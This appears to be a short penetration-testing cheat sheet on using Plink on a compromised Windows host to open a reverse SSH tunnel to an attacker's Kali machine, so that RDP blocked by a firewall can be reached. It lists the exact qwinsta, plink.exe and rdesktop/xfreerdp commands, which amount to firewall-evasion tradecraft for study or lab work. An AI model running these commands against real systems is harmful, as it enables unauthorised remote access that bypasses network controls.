Plink for Remote Desktop Connections #
Used in case RDP service (usually 3389/tcp) is not accessible directly (i.e. not allowed through the external firewall)
-
On local machine (~Kali)
- Create a limited user1
-
On target machine (Windows)
- Check first if somebody has currently connected to the host's RDP service
qwinsta /server:<server_name>
- Download plink.exe on the target machine
- Execute a reverse SSH connection using Plink.exe
echo y | plink.exe <YOUR_IP> -P 22 -R 3389:127.0.0.1:3389 -l <created_limited_username> -pw <password>
- Check first if somebody has currently connected to the host's RDP service
- On the local machine (~Kali)
- Connect to the RDP service using an RDP Client
rdesktop -g90x90 localhost
(Usually fails)xfreerdp /u:"<victim_machine_username>" /v:localhost:3389
- Connect to the RDP service using an RDP Client
Last update: January 22, 2021